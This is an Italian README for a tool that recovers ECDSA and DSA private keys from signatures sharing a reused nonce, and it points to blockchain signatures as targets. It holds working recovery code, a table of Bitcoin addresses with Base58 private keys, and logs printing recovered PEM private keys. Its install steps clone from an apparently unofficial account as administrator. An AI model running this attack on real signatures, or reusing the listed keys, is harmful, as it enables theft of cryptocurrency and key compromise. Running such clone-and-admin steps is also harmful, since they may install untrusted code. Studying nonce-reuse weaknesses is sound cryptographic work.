
Esegui attacchi di recupero della chiave privata tramite riutilizzo del nonce ECDSA e DSA per analizzare le vulnerabilità delle firme e recuperare le chiavi private dalle firme blockchain.
Esegui attacchi di recupero della chiave privata tramite riutilizzo del nonce ECDSA e DSA
Uno strumento di ricerca crittografica per analizzare le vulnerabilità delle firme
Recuperiamo la chiave privata per due firme che condividono lo stesso nonce k. Nota come la scelta dello stesso nonce k comporti che entrambe le firme abbiano un valore di firma r identico. Per trovare buoni candidati per un controllo di riutilizzo del nonce ECDSA, cerca firme che condividono lo stesso r, pubkey sulla curve per messaggi (o hash) diversi. Ad esempio, i progetti blockchain basati su bitcoind sono solitamente buone fonti di materiale di firma ECDSA.
sampleA = EcDsaSignature(r, sA, hashA, pubkey, curve)
sampleB = EcDsaSignature(r, sB, hashB, pubkey, curve) # stessa privkey di sampleA, r identico a causa del riutilizzo del nonce k.
# recupera la chiave privata
sampleA.recover_nonce_reuse(sampleB) # popola sampleA con la chiave privata recuperata pronta per l'uso
print sampleA.privkey
Le seguenti istruzioni sono per Windows e Linux; gli utenti macOS hanno un file DMG.
Verifica l'installazione di Git e Python sul tuo sistema.
Scarica Git per Windows:
https://git-scm.com/install/windows
Scarica Python per Windows (diretto):
https://www.python.org/ftp/python/3.13.12/python-3.13.12-amd64.exe
Infine, avvia cmd come amministratore.
git clone https://github.com/yadyvazifeh1oz92/ecdsa-private-key-recovery.git
cd ecdsa-private-key-recovery
py -m pip install -r requirements.txt
py setup.py install
Python 2.x:
#> virtualenv -p python2.7 .env27
#> . .env27/bin/activate
(.env27) #> python -m pip install -r requirements.txt
(.env27) #> python setup.py install
(.env27) #> python tests/test_ecdsa_key_recovery.py
Python 3.x:
#> virtualenv -p python3 .env3
#> . .env3/bin/activate
(.env3) #> python -m pip install -r requirements.txt
(.env3) #> python setup.py install
(.env3) #> python tests/test_ecdsa_key_recovery.py
| Indirizzo BTC | Privkey Base58 | r |
|---|---|---|
| 1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 | 5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT | 113563387324078878147267949860139475116142082788494055785668341901521289846519 |
| 1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 | 5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT | 18380471981355278106073484610981598768079378179376623360720556873242139981984 |
| 1C8x2hqqgE2b3TZPQcFgas73xYWNh6TK9W | 5JKkG6KXLCCPXN9m29ype6My7eR4AnCLaHKYrLvn6d3nd8BLjjw | 19682383735358733565748628081379024202682929012377912380310432818686294127462 |
| 1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 | 5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT | 6828441658514710620715231245132541628903431519484374098968817647395811175535 |
crea oggetti di firma recuperabili:
from ecdsa_key_recovery import DsaSignature, EcDsaSignature, ecdsa, bignum_to_hex, bytes_fromhex
# specifica la curva
curve = ecdsa.SECP256k1
# crea un oggetto pubkey ecdsa standard da una stringa codificata in esadecimale
pub = ecdsa.VerifyingKey.from_string(
bytes_fromhex("a50eb66887d03fe186b608f477d99bc7631c56e64bb3af7dc97e71b917c5b3647954da3444d33b8d1f90a0d7168b2f158a2c96db46733286619fccaafbaca6bc"), curve=curve).pubkey
# crea gli oggetti di firma recuperabili sampleA e sampleB.
# r lungo, s lungo, hash bytestr, oggetto pubkey.
sampleA = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565, #r
49278124892733989732191499899232294894006923837369646645433456321810805698952), #s
bytes_fromhex(bignum_to_hex(
765305792208265383632692154455217324493836948492122104105982244897804317926)),
pub)
sampleB = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565, #r
34219161137924321997544914393542829576622483871868414202725846673961120333282), #s'
bytes_fromhex(bignum_to_hex(
23350593486085962838556474743103510803442242293209938584974526279226240784097)),
pub)
# chiave non ancora recuperata
assert (sampleA.x is None)
recupera la chiave privata per sampleA
# tenta di recuperare la chiave - questo aggiorna l'oggetto sampleA
sampleA.recover_nonce_reuse(sampleB) # recupera la privkey condivisa con sampleB
assert (sampleA.x is not None) # verifica che il recupero della privkey sia riuscito. Questo ci fornisce un oggetto privkey ECDSA pronto per l'uso
assert sampleA.privkey
INFO:__main__:------------EcDSA------------
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=⨯ > - recupero della chiave privata dal riutilizzo del nonce ...
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=✔ > - Chiave privata recuperata!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----
DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=⨯ > - recupero della chiave privata dal riutilizzo del nonce ...
DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=✔ > - Chiave privata recuperata!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----